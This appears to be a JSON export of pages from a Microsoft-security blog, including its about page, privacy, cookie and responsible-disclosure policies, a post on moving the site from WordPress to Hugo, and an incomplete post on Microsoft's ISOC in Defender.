[{"content":"My name is Farid Kalaidji. I’m the MxDR lead at Pink Elephant Netherlands, where I’m responsible for our entire Microsoft SIEM and XDR solution, including Defender XDR, Sentinel, Entra ID, and Exposure Management.\nI work closely with organizations across sectors to design and operationalize Microsoft’s security stack, from baseline configurations and attack surface reduction to SOC workflows and incident response.\nModernsecurity.nl is where I share practical knowledge from the field. No theory, no recycled marketing, just tested guidance and patterns that actually scale.\nWhy this blog? There’s a gap sometimes between documentation and what’s really needed to build secure, manageable environments. I created this blog to help close that gap hopefully.\nModernsecurity.nl is for security architects, engineers, and SOC teams working with:\nMicrosoft Defender XDR (Endpoint, Identity, Office, Cloud Apps) Microsoft Sentinel (SIEM and SOAR) Entra ID (MFA, Conditional Access, PIM, Identity Protection) DFIR, threat detection, response automation, and compliance readiness Everything here is based on real deployments, (public) previews, knowledge via Microsoft Security CCP, and continuous learning through customer environments.\nWhat I do At Pink Elephant, I lead the design and implementation of Microsoft Security solutions across hybrid, cloud, and regulated environments. I focus on:\nDefender XDR: deployment, tuning, and operational baselining Sentinel: detection engineering, automation, playbooks, TI integration Entra ID: Conditional Access, Identity Protection, guest governance DFIR \u0026amp; response workflows: live response, logging, selective containment Secure Score, Exposure Management, Purview, and NIS2-readiness Workshops and roadmap sessions with technical and executive stakeholders My approach This blog is my way of giving back to the community: documenting how things really work, what to watch out for, and how to build defensible configurations.\nYou’ll find:\nField-tested guides for Microsoft security products Detection strategies and implementation patterns Risk-driven configuration decisions Shortcuts, gotchas, and workarounds from live environments Contact LinkedIn: Farid Kalaidji Email: farid@kalaidji.nl (PGP) Personal site: kalaidji.nl Credly: Badges Disclaimer \u0026amp; usage ModernSecurity.nl provides information for general informational purposes only. It is not intended as a substitute for professional advice.\nAccuracy and reliability While I make every effort to ensure that the content is accurate and up to date, no guarantees are made about the completeness, reliability, or suitability of the information provided. Any reliance you place on such information is strictly at your own risk.\nContributors and references The content is written by myself and occasionally includes references or input from trusted sources. External references are cited where relevant. Content may change without notice as tools and environments evolve.\nCopyright and use All content on modernsecurity.nl (including text, scripts, and media) is protected by copyright. You may use the material for personal and non-commercial purposes. Republishing, modifying, or using it for commercial purposes without written permission is prohibited.\n","date":"3 April 2024","externalUrl":null,"permalink":"/about-farid-kalaidji/","section":"Pages","summary":"My name is Farid Kalaidji. I’m the MxDR lead at Pink Elephant Netherlands, where I’m responsible for our entire Microsoft SIEM and XDR solution, including Defender XDR, Sentinel, Entra ID, and Exposure Management.\nI work closely with organizations across sectors to design and operationalize Microsoft’s security stack, from baseline configurations and attack surface reduction to SOC workflows and incident response.\nModernsecurity.nl is where I share practical knowledge from the field. No theory, no recycled marketing, just tested guidance and patterns that actually scale.\n","title":"About Farid Kalaidji","type":"pages"},{"content":"Modern Security respects your privacy. This policy explains what personal data is processed when you visit https://www.modernsecurity.nl or contact us, and how you stay in control. It is written for the EU General Data Protection Regulation (GDPR / AVG). Cookies are explained in detail in the Cookie Policy.\nWho is responsible The controller for the processing described here is:\nModern Security (Farid Kalaidji)\nEmail: info@modernsecurity.nl\nWhat this website does not do There are no user accounts, no comments and no newsletter sign-up, so no profile is kept about you. The website shows no advertising and does not sell or rent personal data. Analytics tools are only loaded after your consent. What we process and why Visiting the website Data: IP address, browser and device information, the page requested and the time of the request.\nWhy: to deliver the pages and protect the website against attacks and abuse.\nWho: our hosting provider Cloudflare (Cloudflare Workers), as processor.\nLegal basis: legitimate interest (Art. 6(1)(f) GDPR) in a secure, working website.\nRetention: Cloudflare keeps these technical logs for a limited period under its own retention rules.\nIf Cloudflare Web Analytics is active, page views are counted without cookies and without identifying you.\nStatistics and usage insights (only with consent) Data: pages visited, how you got to the website, approximate location (country/city), device and browser type, and with Microsoft Clarity also clicks, scrolling and mouse movement on pages. Text typed in forms is masked and not recorded.\nWhy: to understand which articles are useful and improve the website.\nWho: Google Ireland Limited (Google Analytics 4) and Microsoft Corporation (Microsoft Clarity).\nLegal basis: your consent (Art. 6(1)(a) GDPR), given in the cookie banner. You can withdraw it at any time via the Cookie settings button on this page or the Cookie Policy.\nRetention: Google Analytics keeps event data for 14 months. Microsoft Clarity keeps session replays for 30 days and aggregated reports for up to 13 months.\nAdvertising features are switched off by the website: consent for ad storage, ad user data and ad personalisation is always denied.\nContacting us Data: your name, email address, subject and message, and a security check by Cloudflare Turnstile.\nWhy: to answer your question.\nWho: the form is processed by a Cloudflare Worker and delivered by email through Mailgun (EU region) to our mailbox at Zoho (EU data centre).\nLegal basis: legitimate interest (Art. 6(1)(f) GDPR) in answering messages you send us.\nRetention: messages are deleted when they are no longer needed, at the latest two years after the conversation ends.\nThe same applies when you email us directly.\nEmbedded videos and external links Videos show a preview image only; the YouTube player (privacy-enhanced youtube-nocookie.com) loads when you click play, after which YouTube\u0026rsquo;s own privacy policy applies. Links to LinkedIn, X, Bluesky and Buy Me a Coffee are ordinary links: nothing from those services loads until you click, and their own privacy policies apply on their websites.\nWho receives data We only share data with the service providers named above, who process it on our behalf under a data processing agreement: Cloudflare, Mailgun (Sinch), Zoho, and, only with your consent, Google and Microsoft. We do not share data with anyone else unless the law requires it.\nTransfers outside the EU Cloudflare, Google and Microsoft may process data in the United States. These companies participate in the EU-U.S. Data Privacy Framework, and transfers are additionally covered by the European Commission\u0026rsquo;s Standard Contractual Clauses.\nYour rights You have the right to:\naccess the personal data we hold about you; have it corrected or deleted; restrict or object to its processing; receive it in a portable format (data portability); withdraw consent at any time, without affecting earlier processing. Send your request to info@modernsecurity.nl. We respond within one month. If you are not satisfied with how we handle your data, you can file a complaint with the Dutch Data Protection Authority, the Autoriteit Persoonsgegevens.\nSecurity The website is served over HTTPS only, has no login or database, and the contact form is protected against spam and abuse. Access to the mailbox and service accounts is protected with multi-factor authentication.\nChildren This website is aimed at security professionals and is not intended for children under 16.\nChanges to this policy We update this policy when the website or the services it uses change. The date at the top shows the latest version. Important changes that affect your consent are also shown in the cookie banner.\n","date":"25 November 2021","externalUrl":null,"permalink":"/privacy-policy/","section":"Pages","summary":"","title":"Privacy Policy","type":"pages"},{"content":"This Cookie Policy applies to visitors of https://www.modernsecurity.nl (\u0026ldquo;the website\u0026rdquo;) from the European Economic Area, Switzerland and the United Kingdom. It explains which cookies and similar technologies the website uses and how you can change your choices. How personal data is handled in general is described in the Privacy Policy.\nOur approach in short Nothing non-essential loads before you choose. Google Analytics and Microsoft Clarity are only loaded after you allow them in the cookie banner. No advertising. The website shows no ads, and advertising features in Google Analytics and Microsoft Clarity are switched off by the website itself. Rejecting is as easy as accepting. Both buttons are in the banner, and you can change your choice at any time via the Cookie settings button on this page. What are cookies and similar technologies? A cookie is a small text file that a website stores in your browser, so it can recognise your browser on a later page view or visit. Cookies set by the website you are visiting are first-party cookies; cookies set by another domain (for example a service the website uses) are third-party cookies.\nLocal storage is a comparable technology: the website stores a small piece of data in your browser, but it is never sent to a server automatically. This website uses local storage only for your own settings.\nA script is program code that makes a website work or adds a function, such as measuring visits.\nCookies and storage used on this website Strictly necessary (always on) These remember choices you make yourself. They contain no tracking identifier, are not shared with anyone, and are allowed without consent.\nName Type Purpose Retention ms-consent Local storage Remembers your cookie choices, so the banner is not shown on every page 12 months, then you are asked again appearance Local storage Remembers whether you chose the light or dark theme Until you clear your browser data a11ySettings Local storage Remembers your accessibility settings (text size, link underlines) Until you clear your browser data blowfish-zen-mode-enabled Local storage Remembers whether reading (zen) mode is on Until you clear your browser data Statistics: Google Analytics (only with your consent) We use Google Analytics 4, provided by Google Ireland Limited, to count visits and see which articles are read, so we can improve the content. Advertising storage, ad user data and ad personalisation are always set to denied by the website, so the data is not used for advertising.\nName Type Purpose Retention _ga First-party cookie Distinguishes visitors 2 years _ga_9TY2E1EPTL First-party cookie Keeps track of the current session 2 years More information: Google: how Google uses information from sites that use its services.\nUsage insights: Microsoft Clarity (only with your consent) We use Microsoft Clarity, provided by Microsoft Corporation, for heatmaps and session replays that show how pages are used (for example where readers stop scrolling). Text you type in forms on this website is masked and not recorded. The website tells Clarity that advertising storage is denied, so Clarity does not share data with Microsoft Advertising.\nName Type Purpose _clck First-party cookie Keeps the Clarity visitor ID and preferences for this website _clsk First-party cookie Connects page views into one session replay CLID, ANONCHK, MR, SM Third-party cookies (clarity.ms) Used by Clarity to recognise the browser across sites that use Clarity Microsoft sets the lifetimes of these cookies. More information: Microsoft Clarity cookies and the Microsoft Privacy Statement.\nServices that set no cookies Cloudflare (hosting and security). The website is hosted on Cloudflare Workers. Cloudflare processes technical data such as your IP address to deliver the pages and protect the website against attacks. If Cloudflare Web Analytics is active, it counts page views without cookies and without identifying you. Cloudflare Turnstile (contact form only). On the contact page, Turnstile checks that a message is sent by a person and not a bot. It is used only on that page, only for security, and not for tracking. YouTube videos. Videos in articles show only a preview image from YouTube. The video player, from the privacy-enhanced youtube-nocookie.com domain, loads only when you click play; from that moment YouTube\u0026rsquo;s own policy applies. Links to other websites. Buttons for LinkedIn, X, Bluesky, RSS and Buy Me a Coffee are ordinary links. Nothing from those services loads until you click them. Consent On your first visit a banner asks for your choice. You can:\nAccept all: Google Analytics and Microsoft Clarity are loaded. Reject all: only the strictly necessary storage above is used. Preferences: allow Google Analytics and Microsoft Clarity separately. Your choice is stored for 12 months, after which we ask again. We also ask again if this policy changes in a way that needs your agreement.\nChange or withdraw your consent Use the Cookie settings button on this page (also on the Privacy Policy). The Cookie Policy is linked at the bottom of every page. When you withdraw consent, the website deletes its Google Analytics and Clarity cookies and stops loading those services. Withdrawing consent does not affect the lawfulness of what happened before.\nDeleting cookies in your browser You can also delete cookies and local storage, or block them, in your browser settings. See the help pages of your browser for instructions. If you block all storage, the website keeps working, but it will not remember your theme, accessibility or cookie choices.\nYour rights You have the right to access, correct and delete your personal data, to object to its use, to data portability, and to withdraw consent at any time. The Privacy Policy explains these rights and how to use them. You can also file a complaint with the Dutch Data Protection Authority (Autoriteit Persoonsgegevens).\nContact details For questions about this Cookie Policy:\nModern Security\nEmail: info@modernsecurity.nl\n","date":"29 October 2026","externalUrl":null,"permalink":"/cookie-policy-eu/","section":"Pages","summary":"","title":"Cookie Policy (EU)","type":"pages"},{"content":"Modern Security writes about security every day, so this website should practise what it preaches. Still, no system is perfect. If you find a vulnerability, I\u0026rsquo;d like to hear about it so I can fix it before anyone misuses it. This policy is based on the Dutch practice of Coordinated Vulnerability Disclosure (CVD).\nHow to report Send your report to info@modernsecurity.nl or use the contact form (choose the subject that fits best and mention \u0026ldquo;security\u0026rdquo; in your message). The same contacts are listed in security.txt.\nA good report contains:\nWhat: the type of vulnerability and the affected address (URL). How: the steps to reproduce it, ideally with a proof of concept or screenshots. Impact: what an attacker could do with it. You: how I can reach you, and the name you\u0026rsquo;d like in the Hall of Fame (or that you prefer to stay anonymous). Please keep the report confidential until the issue is fixed.\nScope In scope:\nwww.modernsecurity.nl and modernsecurity.nl, including the contact form. Other subdomains of modernsecurity.nl that are operated by Modern Security. Out of scope: issues in services of third parties, such as Cloudflare, GitHub, Google, Microsoft, Mailgun or Zoho. Please report those to the vendor directly. Also out of scope are findings without a realistic security impact, for example:\nmissing security headers or settings that have no demonstrable risk; version disclosure or descriptive error messages on their own; reports from automated scanners without a verified, working example; SPF, DKIM or DMARC configuration advice; clickjacking on pages without sensitive actions. Rules of engagement To keep testing safe for everyone, please:\nDo no harm: no denial-of-service, no brute-forcing, no spam through the contact form and no tests that make the website slower or unavailable. Stay minimal: only do what is needed to show the vulnerability. Don\u0026rsquo;t change or delete data, and don\u0026rsquo;t install backdoors or malware. Respect privacy: don\u0026rsquo;t access, copy or keep personal data of others. If you come across it by accident, stop, delete it and mention it in your report. No social engineering: no phishing, no physical access attempts and no pressure on people or suppliers. Keep it confidential: don\u0026rsquo;t share the vulnerability with others until it is fixed. What you can expect If you follow this policy:\nA quick reply: you receive a response to your report within 5 working days, with my first assessment. Updates: I keep you informed about the progress, and I aim to fix confirmed issues as quickly as possible, normally within 60 days. No legal action: I will not take legal action against you for your report, and I will not pass your details to third parties without your permission, unless the law requires it. Credit: with your permission, your name (or alias) is added to the Hall of Fame below. A thank-you: for a valid report I\u0026rsquo;m happy to send you a small Modern Security thank-you gift, at my discretion. This is a gesture of appreciation, not a bug bounty: there are no cash rewards. After the fix we can agree together whether, when and how the vulnerability is published.\nHall of Fame These people helped make Modern Security safer. Thank you!\nNo reports yet. Your name could be the first.\nQuestions Not sure whether something is in scope, or have a question about this policy? Ask first via info@modernsecurity.nl. I\u0026rsquo;d rather answer a question than receive a report that crossed a line.\n","date":"30 October 2026","externalUrl":null,"permalink":"/responsible-disclosure/","section":"Pages","summary":"","title":"Responsible Disclosure","type":"pages"},{"content":"I welcome questions, suggestions, and discussions related to Modern Security: about an article, a detection idea, or Microsoft security in general. Send me a message and I’ll reply by email shortly.\n","date":"25 June 2018","externalUrl":null,"permalink":"/contact-form/","section":"Pages","summary":"","title":"Want to get in touch ?","type":"pages"},{"content":"","date":"30 October 2026","externalUrl":null,"permalink":"/","section":"Modern Security","summary":"","title":"Modern Security","type":"page"},{"content":"","date":"29 October 2026","externalUrl":null,"permalink":"/archive/","section":"All articles","summary":"","title":"All articles","type":"posts"},{"content":"","date":"29 October 2026","externalUrl":null,"permalink":"/categories/","section":"All topics","summary":"","title":"All topics","type":"categories"},{"content":"","date":"29 October 2026","externalUrl":null,"permalink":"/security/","section":"All topics","summary":"","title":"Security","type":"categories"},{"content":" Introduction If you\u0026rsquo;re reading this, you\u0026rsquo;re looking at a completely new Modern Security. Same articles, same URLs, same Microsoft security focus. But under the hood almost nothing is left of the old site.\nFor years this blog ran on WordPress. It worked, but every month I spent more time maintaining the platform than writing about Microsoft security. Plugin updates, a security plugin to protect the other plugins, a cache plugin to make it fast again, a cookie plugin to explain all the other plugins. At some point I asked myself the question I ask customers all the time: why is the attack surface this big for what it actually needs to do?\nSo I rebuilt it. Modern Security is now a static site built with Hugo and the Blowfish theme, hosted on Cloudflare Workers. In this post I explain why I made the move, how I migrated every article without breaking a single link, what I built on top of Blowfish, and what changed for you as a reader.\nWhy leave WordPress? WordPress isn\u0026rsquo;t bad. It runs a huge part of the internet for good reasons. But for a blog like this one, the trade-offs had tipped the wrong way.\nOver time the old site needed a long list of plugins: Rank Math Pro for SEO, Wordfence for security, LiteSpeed Cache for performance, Complianz for cookie consent, Google Tag Manager, reCAPTCHA for the contact form, and a newsletter plugin. Each of them is code that runs on every request, needs updates, and can have its own vulnerabilities.\nFor a security blog that felt wrong for three reasons:\nAttack surface: A login page, a database, PHP and a stack of plugins, all reachable from the internet, to serve articles that change a few times a month. Maintenance: Updates were never \u0026ldquo;just\u0026rdquo; updates. Something always needed checking afterwards. Privacy: The cookie policy listed cookies from WordPress, Wordfence, LiteSpeed, Google, Facebook, Twitter and LinkedIn. That\u0026rsquo;s a lot of third parties for reading an article about Defender XDR. A static site removes most of that by design. There is no database to inject into, no login page to brute-force and no plugins to patch. The server only hands out files.\nThe new stack Part Old site New site Platform WordPress with PHP and a database Hugo static site generator Theme WordPress theme plus page builder blocks Blowfish, with my own layouts on top Hosting Web hosting with a LiteSpeed server Cloudflare Workers (static assets) SEO Rank Math Pro Built into the templates (titles, descriptions, structured data, sitemap) Security Wordfence No login, no database, nothing to log in to Contact form WordPress form with reCAPTCHA A small Cloudflare Worker with Cloudflare Turnstile Cookie consent Complianz plugin A small self-hosted consent banner Writing WordPress editor Markdown files in Git Hugo turns Markdown files into plain HTML pages in seconds. Blowfish gives a modern, fast theme with dark mode, search and an accessibility panel. Cloudflare Workers builds the site from GitHub on every change and serves it from Cloudflare\u0026rsquo;s network. Pages are plain files; code only runs for the contact form.\nOne rule I set myself from day one: never edit the Blowfish theme files. Blowfish is a Git submodule, pinned to a fixed version, and everything that makes the site look like Modern Security lives in my own layouts and styles. Where I had to replace a Blowfish template, it\u0026rsquo;s documented, so I know exactly what to check when Blowfish releases a new version.\nMigrating every article without breaking a link The scariest part of any migration is SEO. Years of articles are indexed by Google, linked from LinkedIn posts and bookmarked by readers. If URLs change, all of that turns into 404 errors overnight.\nSo the migration started with an audit, not with a design. I exported everything from the WordPress REST API: posts, pages, categories, media, and the SEO data Rank Math generated for every page. Then a Python converter turned each WordPress article into a Hugo page bundle: one folder per article with the Markdown text and its images next to it.\nA few things the converter had to get right:\nIdentical URLs: Every article, category and page keeps exactly the same address as on WordPress. One article even had a non-breaking hyphen (U+2011) in its URL, which Hugo silently strips. That one now has its URL set explicitly. Identical SEO: Titles, meta descriptions and robots settings are copied exactly as Rank Math had them. A comparison script checks the old and new page headers side by side. Tables: Many of my articles are full of tables with KQL queries and settings. The converter checked all 133 tables against the original. That\u0026rsquo;s how I found that a WordPress math plugin had quietly eaten the $ signs in a PowerShell command at some point. Images: Every screenshot is converted to WebP, and Hugo now creates several sizes of each image, so a phone downloads a small version and a 4K screen a sharp one. KQL highlighting: Hugo\u0026rsquo;s code highlighter doesn\u0026rsquo;t know KQL, so the site highlights KQL itself while building. No JavaScript needed in your browser. The old cookie policy pages for different countries now point to one cookie policy, and the remaining old WordPress addresses get permanent redirects. Google sees the same pages, with the same titles, at the same addresses.\nBuilding the frontend Blowfish is a great starting point, but I wanted the site to stay recognisably Modern Security: the black top bar, the big logo, black section headings and the photo tiles on the homepage. So most of what you see is built on top of the theme:\nHomepage: a mosaic of featured articles, the Security, Identity and Compliance tiles, and every other article with pagination. Articles: a table of contents at the top, a featured posts and categories sidebar, a reading progress bar and code blocks with a copy button. Topic pages: a photo banner, an introduction per topic, related topics and the articles in that topic. Dark mode and accessibility: a dark-mode switch and Blowfish\u0026rsquo;s accessibility panel for text size, link underlines and a distraction-free reading mode. Sharing without trackers: share buttons for LinkedIn, X, Bluesky and email are plain links. Nothing from those networks loads until you click. Mobile: every page type was checked at phone size, so nothing scrolls sideways and every button is big enough to tap. Privacy and security by design This is the part I\u0026rsquo;m most happy with, because it\u0026rsquo;s where the old site felt most uncomfortable.\nNothing tracks you before you choose: The site uses Google Analytics and Microsoft Clarity to see which articles are read, but only after you allow it in the cookie banner. Before that choice, no Google or Microsoft script is loaded at all. Rejecting is exactly as easy as accepting, and advertising features are switched off in both tools. The only thing that runs without consent is Cloudflare Web Analytics, which counts page views without cookies and without identifying you. You can change your mind at any time via the Cookie settings button on the Cookie Policy, linked at the bottom of every page.\nThe contact form has no database behind it: Messages go through a small Cloudflare Worker that checks Cloudflare Turnstile on the server and sends the message by email through an EU mail provider. No form plugin, no stored submissions.\nA security.txt file: If you find a vulnerability, /.well-known/security.txt tells you how to report it, following RFC 9116. Fitting for a security blog, and something the old site never had.\nA responsible disclosure policy: The Responsible Disclosure page explains what is in scope, what I expect from researchers and what they can expect from me, including a Hall of Fame for everyone who helps make the site safer.\nStrict security headers: Every page is served with a strict Content Security Policy that only allows scripts from the site itself and the few services it really uses, HSTS to force HTTPS, and a rule that stops other sites from loading Modern Security in a frame.\nFewer moving parts: There is no admin login to attack, no database to dump and no plugin to exploit. The most important thing to protect is now the GitHub account that publishes the site, so that\u0026rsquo;s where the security effort goes.\nThe results After the switch I checked the live site the same way I check a customer environment: measure first, then believe it.\nPageSpeed Insights (desktop): 100 for Performance, Accessibility, Best Practices and SEO. Accessibility: every article scores 100 in Lighthouse. Redirects: about 1,850 permanent redirects send old WordPress addresses, including old image URLs, to their new location. After launch I tested every old address, and none of them ends in a 404. Writing new articles Every article is now a Markdown file in a Git repository. I write in VS Code, screenshots go into the same folder as the article, and every change is version-controlled. If I make a mistake, I can roll back. If a reader spots an error, the history shows exactly what changed and when.\nFor quick fixes away from my laptop, the site is set up for Pages CMS, a simple editor in the browser that commits straight to the repository. When I push a change, Cloudflare builds and publishes the site automatically.\nWhat I learned Audit before you design: Exporting all URLs and SEO data first made every later decision easier. You can\u0026rsquo;t keep what you never wrote down. Treat a theme like a dependency: Pin the version, don\u0026rsquo;t edit it, and keep a list of what you override. Upgrades become a checklist instead of a gamble. Check the content, not just the pages: Automated checks on tables and images found problems that had been invisible on the old site for years. Privacy is a design choice: Loading nothing before consent was easier to build from scratch than to bolt onto a plugin stack. Static is a security feature: The safest login page is the one that doesn\u0026rsquo;t exist. I\u0026rsquo;ll share real performance numbers (Lighthouse and Core Web Vitals) once the new site has been live for a few weeks. If you notice anything that looks broken or a link that no longer works, please let me know.\nSources Hugo documentation (Hugo) Blowfish documentation (Blowfish) Cloudflare Workers static assets (Cloudflare) Cloudflare Turnstile documentation (Cloudflare) Clarity Consent API (Microsoft Learn) RFC 9116: A File Format to Aid in Security Vulnerability Disclosure (RFC Editor) Pages CMS (Pages CMS) Conclusion Moving Modern Security from WordPress to Hugo and Blowfish wasn\u0026rsquo;t about chasing a new tool. It was about applying the same principles I write about here to my own site: reduce the attack surface, control what runs, and don\u0026rsquo;t collect more data than you need.\nThe result is a blog that\u0026rsquo;s faster to maintain, easier to secure and more respectful of your privacy, with every old link still working.\nSame content. Same addresses. Far fewer moving parts.\n","date":"29 October 2026","externalUrl":null,"permalink":"/modern-security-moved-to-hugo-and-blowfish/","section":"All articles","summary":"","title":"Why Modern Security left WordPress: rebuilding the blog with Hugo and Blowfish","type":"posts"},{"content":"","date":"25 September 2026","externalUrl":null,"permalink":"/microsoft-defender-xdr/","section":"All topics","summary":"","title":"Microsoft Defender XDR","type":"categories"},{"content":" ISOC introduction On September 23, Microsoft announced the Integrated Security Operations Center, or ISOC, in Microsoft Defender. My LinkedIn feed filled up within the hour, and the first question I got was simple: “So is Sentinel dead?”\nShort answer: no.\nLonger answer: this is the most interesting change to Microsoft’s SOC story since Sentinel moved into the Defender portal, and it changes where many organisations will start. In this post I explain what ISOC is, who it is for, how it compares to Microsoft Sentinel and Defender XDR, and what I would check before using it.\nWhat is ISOC in Microsoft Defender? The key sentence is in Microsoft’s own FAQ: ISOC is not a new product. It is a benefit on top of Microsoft Defender Suite, Microsoft 365 E5 and E7 that brings SIEM capabilities from Microsoft Sentinel into the Defender portal.\nIn practice it does two big things:\nIt turns on SIEM features in Defender for organisations that never deployed Sentinel. It uses the Defender data you already have, without separate ingestion, and extends retention from 30 to 90 days on November 15, 2026. Until now, E5 gave you excellent XDR, but a SIEM meant a separate Sentinel purchase and project. That is the gap ISOC closes.\nMicrosoft frames the announcement around attackers: they use AI agents to automate at scale, and every handoff between separate protection and operations systems slows defenders down. Microsoft describes a stack of sensors and signals, context, models, a harness, agents and actuators, with ISOC as the foundation.\nIt’s worth separating the vision from what ships today. The agents come from Project Perception, introduced in July, which is a limited preview for a small, invitation-only group of customers, with its own consumption-based pricing. ISOC itself doesn’t require Perception. I see it as laying the shared data and workflow foundation that agents will need later, and I think it should be judged on what it delivers without them.\nWhat you get on day one Eligible tenants see these capabilities appear in the Defender portal without extra configuration:\nCase management. Incident cases and generic cases, with tasks, templates, SLA policies and activity history. No workspace needed. Workbooks. Dashboards built on advanced hunting queries, with example workbooks to get started. Enhanced automation rules. Natural-language playbook generation. Describe the automation you want, and the generator writes a Python playbook for you to review, test and activate. The included data covers Defender for Endpoint, Office 365, Identity, Cloud Apps and Cloud, plus Entra ID Protection logs, and Azure Activity and Office 365 Activity logs through a connector. There is no minimum seat count.\nWhat requires an ISOC workspace When you need more than native Defender data, you create an ISOC workspace linked to an Azure subscription. That unlocks UEBA, Content hub, CI/CD from repositories, threat intelligence, and non-Microsoft data through more than 500 connectors. From October 1, that non-Microsoft data is billed at $2.40 per GB on a pay-as-you-go meter. Regional pricing may vary.\nTwo details in the documentation are easy to miss:\nContent hub is connector-only during the preview. If you install a solution, you get its data connectors, but not its analytics rules, hunting queries or workbooks. So budget time for building or porting detection content for every source you add. A connector without detections is just storage. UEBA is not part of the licence. Microsoft describes UEBA as an optional paid Sentinel capability that isn’t included with E5. It can analyse supported Defender tables without ingesting them first, which is a nice improvement, but its output is written to Log Analytics and those charges apply. If you want to know what UEBA brings, I covered the UEBA behaviors layer earlier. One more observation: you create the ISOC workspace under Settings \u0026gt; Microsoft Sentinel \u0026gt; SIEM workspaces, and it requires the Microsoft Sentinel Contributor role. My reading is that this is the Sentinel foundation, packaged and licensed differently, rather than a new SIEM engine. Microsoft’s documentation doesn’t state what kind of resource you end up with but I’ll make a guidance on this soon.\nWho is ISOC for? Right now: organisations with Microsoft Defender Suite, Microsoft 365 E5 or E7 that do not have an active Microsoft Sentinel workspace. You need an Azure subscription if you want the workspace.\nFrom November 15, 2026: existing Sentinel customers who meet the licensing criteria can choose to move to ISOC. Until then, Microsoft’s advice is clear: keep using Sentinel, and don’t disconnect a production workspace to qualify for the preview.\nA note on Defender Suite: Microsoft’s documentation lists it as eligible, but the FAQ’s benefit section is written for E5 and E7. If you are on Defender Suite, check that ISOC actually shows up in your tenant, and get the retention and meter confirmed, before you plan around it.\nISOC vs Microsoft Sentinel vs Defender XDR This is how I see the three side by side, based on what is documented today:\nAspect Defender XDR alone Microsoft Sentinel ISOC in Defender (preview) What it is Product Product, separate purchase Benefit on Defender Suite, E5, E7 Who Defender licensed tenants Any organisation with an Azure subscription No active Sentinel workspace now; eligible Sentinel customers from Nov 15, 2026 Defender data 30 days in advanced hunting Ingested into the workspace; E5 grant covers up to 5 MB per user per day of eligible Microsoft data Used in place, 30 days now, 90 days from Nov 15, 2026 Non-Microsoft data Not a SIEM Yes, pay-as-you-go or commitment tiers Yes, via ISOC workspace, $2.40/GB from Oct 1 Cases, workbooks, playbooks Incidents Yes Yes, no workspace needed Content hub Not applicable Full solutions: connectors, rules, hunting, workbooks Data connectors only in preview UEBA Not as a SIEM feature Optional paid capability With workspace, optional paid capability My take: Defender XDR remains the protection and detection engine. Sentinel remains the broad security data platform for organisations with many sources, mature detection content and long retention needs. ISOC is the new front door for E5 organisations that want SOC capabilities without first running a SIEM project.\nThe part I like most is retention. I have seen plenty of designs where Defender data went into Sentinel mainly to keep it longer than 30 days (apart from data lake). Paying to store Microsoft telemetry inside another Microsoft product never felt right. Ninety days included changes that discussion, and it fits the broader trend I wrote about in my post on lake-only ingestion for Defender XDR tables.\nWhat about existing Sentinel customers? My advice: evaluate per customer after November 15. There is no single right answer, because the outcome depends on the licence mix, the data sources and the detection content each environment has built. I’d look at five questions per environment:\nLicensing. Is the tenant fully on E5 or E7, or a mix? Defender Suite needs written confirmation. The E5 grant. Today, E5 includes a Sentinel data grant of up to 5 MB per user per day for eligible Microsoft data. Microsoft’s ISOC documentation doesn’t say whether that grant still applies once a workspace moves to ISOC. How much of your current ingestion does it cover, and what happens if it goes away? Identity detections. Entra sign-in and audit logs aren’t on ISOC’s included list, and they’re core detection data for most SOCs. Defender has its own EntraIdSignInEvents table for interactive and non-interactive sign-ins, and the UEBA documentation even maps it as the “Signin Logs” source. But its schema differs from SigninLogs; conditional access status, for example, is a numeric code instead of text. How many of your analytics rules depend on SigninLogs, and what would porting them cost? Retention-only ingestion. Which Defender tables do you ingest mainly to keep them longer than 30 days? Those are where ISOC’s 90 days pays off. Third-party sources. What would they cost on the $2.40 meter compared to your current rate, and which of them have detection content that Content hub won’t install for you? Two things Microsoft hasn’t documented yet will also weigh in: what Microsoft data outside the included list costs under ISOC (the billing page only says additional ingestion charges might apply), and what happens to history, retention settings and content when an existing Sentinel workspace moves. Keep in mind that March 31, 2027 is when Sentinel leaves the Azure portal, whether you move to ISOC or not.\nMulti-tenant and MSSP considerations For anyone managing multiple tenants, the ISOC documentation is still thin:\nCreating the workspace requires Security Administrator in Entra ID, plus Owner, or User Access Administrator and Sentinel Contributor, on the Azure subscription. Organisations should think carefully before handing that level of access to a third party. In the Defender multitenant portal, GDAP only covers Defender data. Sentinel data requires Entra B2B, and cross-tenant Sentinel queries still require Azure Lighthouse. Case management is available in the multitenant portal, but I haven’t found documentation on ISOC workspaces, the benefit or generated playbooks in multi-tenant management. Limitations and open questions It’s a preview. Capabilities and availability can change. Identity logs. Entra sign-in and audit logs aren’t on the included list, their cost under ISOC isn’t documented, and EntraIdSignInEvents has a different schema than SigninLogs. The E5 grant. ISOC documentation doesn’t address whether the E5 Sentinel data grant still applies after moving. Content hub installs data connectors only during the preview. UEBA is an optional paid capability, and its output incurs Log Analytics charges. Playbook generator limits. Python only, no external libraries, no playbook nesting, up to 100 playbooks per tenant, 5,000 lines per playbook, 10 minutes maximum runtime and 8 million AI tokens per day per tenant. Generated code must be reviewed manually. Enhanced alert trigger rules don’t support priority ordering, execute one action per rule, and can only run generated playbooks or update alerts. Multi-tenant guidance for ISOC is missing. How I would get started If you’re eligible and don’t run Sentinel, here’s the order I’d follow:\nSort out permissions first. Automation uses Unified RBAC, with separate permissions for automation admin, rules, integrations and playbooks. Decide who can create and who can execute before anyone starts experimenting. Configure integration profiles. Generated playbooks can only call Microsoft Graph and Azure Resource Manager once those profiles exist, so set them up with least-privilege access from the start. Explore the example workbooks. They’re a quick way to see what your Defender data looks like as dashboards before you build your own. Treat generated playbooks as code. Review, test and put them under change control like any other automation. I wrote about the Sentinel AI playbook generator before, and the same rule applies: easy to create should never mean easy to deploy badly. Add a workspace only with a plan. For each extra source, know the cost and who will write its detections. I’ll test ISOC hands-on in a lab tenant and follow up with screenshots and findings. If you’re testing it too, I’d love to hear what you run into.\nSources Reimagining the SOC for the agentic era in Microsoft Defender (Microsoft Security Blog) Integrated Security Operations Center in Microsoft Defender (Microsoft Tech Community, incl. FAQ) ISOC in Microsoft Defender overview (Microsoft Learn) Data ingestion and billing for ISOC (Microsoft Learn) Create an ISOC workspace (Microsoft Learn) Use Content hub with ISOC (Microsoft Learn) Connect data sources to UEBA with Microsoft 365 E5 (Microsoft Learn) Automation with ISOC (Microsoft Learn) Create and manage workbooks with ISOC (Microsoft Learn) Case management in the Microsoft Defender portal (Microsoft Learn) EntraIdSignInEvents table (Microsoft Learn) Set up Microsoft Defender multitenant management (Microsoft Learn) What is Project Perception? (Microsoft Learn) What’s new for Microsoft’s unified security operations (Microsoft 